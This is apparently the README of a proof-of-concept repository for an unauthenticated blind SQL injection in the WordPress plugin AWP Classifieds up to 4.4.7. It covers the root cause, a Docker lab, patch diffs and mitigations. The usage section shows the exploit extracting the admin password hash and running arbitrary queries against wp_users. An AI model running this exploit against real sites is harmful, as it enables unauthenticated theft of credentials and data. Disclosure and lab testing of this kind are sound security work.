
Unauthenticated time-based blind SQL injection PoC for AWP Classifieds <= 4.4.7, with a Docker lab, full writeup, and patch diff.
| CVE | CVE-2026-59550 |
| Plugin | AWP Classifieds (another-wordpress-classifieds-plugin) |
| Vulnerable | <= 4.4.7 |
| Patched | 4.4.8 |
| Class | SQL Injection (OWASP A3: Injection) |
| Privilege | Unauthenticated |
| CVSS v3.1 | 9.3 (High) |
| Sink | AWPCP_BasicRegionsAPI::save() - includes/regions-api.php |
| Reported by | Thaer Assfour (via Patchstack) |
| Advisory | https://patchstack.com/database/wordpress/plugin/another-wordpress-classifieds-plugin/vulnerability/wordpress-awp-classifieds-plugin-4-4-7-sql-injection-vulnerability |
AWPCP_BasicRegionsAPI::save() forwards the keys of a user-supplied
regions array straight into $wpdb->insert() / $wpdb->update().
WordPress wraps column names in backticks but does not escape them, so a
key containing a backtick breaks out of the identifier and injects arbitrary
SQL. The regions array is taken verbatim from $_POST and the whole chain is
reachable without authentication whenever guest ad posting is enabled
(requireuserregistration = 0, the default).
The fix in 4.4.8 adds an explicit column allowlist
(filter_region_columns()) and a field allowlist for submitted regions
(prepare_submitted_region()).
.
├── README.md # this file
├── docs/
│ └── WRITEUP.md # full technical writeup
├── exploit/
│ ├── exploit.py # unauthenticated blind SQLi PoC
│ └── requirements.txt
├── lab/
│ ├── docker-compose.yml # WordPress 6.8 + MariaDB 11, vuln + patched
│ ├── setup.sh # stage plugins, boot, provision both sites
│ └── teardown.sh # remove containers + volumes + staged files
└── patches/
├── 4.4.8-regions-api.diff # the security fix (single file)
└── 4.4.7-to-4.4.8-full.diff # complete release diff
Requirements: Docker + Docker Compose, Python 3 with requests, unzip.
# 1. build and provision the disposable lab (Docker only)
cd lab
./setup.sh /path/to/another-wordpress-classifieds-plugin.4.4.7.zip \
/path/to/another-wordpress-classifieds-plugin.4.4.8.zip
# -> vulnerable (4.4.7): http://localhost:8080/?page_id=8
# -> patched (4.4.8): http://localhost:8090/?page_id=8
# 2. run the PoC
cd ../exploit
python3 -m pip install -r requirements.txt
python3 exploit.py http://localhost:8080 # should be VULNERABLE
python3 exploit.py http://localhost:8090 # should be PATCHED
# 3. tear everything down
cd ../lab && ./teardown.sh
setup.sh accepts the two plugin archives as arguments or via the
AWP447_ZIP / AWP448_ZIP environment variables; it falls back to
~/Downloads/<slug>.4.4.7.zip and ~/Downloads/<slug>.4.4.8.zip.
The archives are not committed to this repository - the raw WordPress core
and plugin copies live only inside lab/html-*/ and are git-ignored.
[*] target : http://localhost:8080
[+] anonymous listing=17 transaction=e40d5a20c91e22db865cb6612f5c2908 nonce=f59eb541e1
[*] probing time-based oracle
[+] target is VULNERABLE to unauthenticated blind SQL injection
[+] admin / $wp$2y$10$AcAkM9QXI8OnCEEdht5G.eMnUX5y6Esb2BTEPN
[*] extracting data without authentication
[+] DBMS version : 11.8.9-MariaDB
[+] first WP user : admin
Extract arbitrary data with an explicit query:
python3 exploit.py http://localhost:8080 \
--query "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1" \
--maxlen 60
The PoC is a time-based oracle, so it needs no reflection of the SQL output and works on a fully blind target.
// includes/regions-api.php (4.4.7)
public function save( $region ) {
...
$result = $this->db->insert( AWPCP_TABLE_AD_REGIONS, $region ); // keys -> SQL identifiers
}
See docs/WRITEUP.md for the full taint analysis,
request trace, generated-SQL proof and fix discussion.
requireuserregistration = 1 and/or block the
awpcp_save_listing_information / awpcp_create_empty_listing AJAX actions.This material is provided for defensive security research, education and authorised testing only. Do not use it against systems you do not own or have explicit written permission to test. The lab is fully containerised and disposable.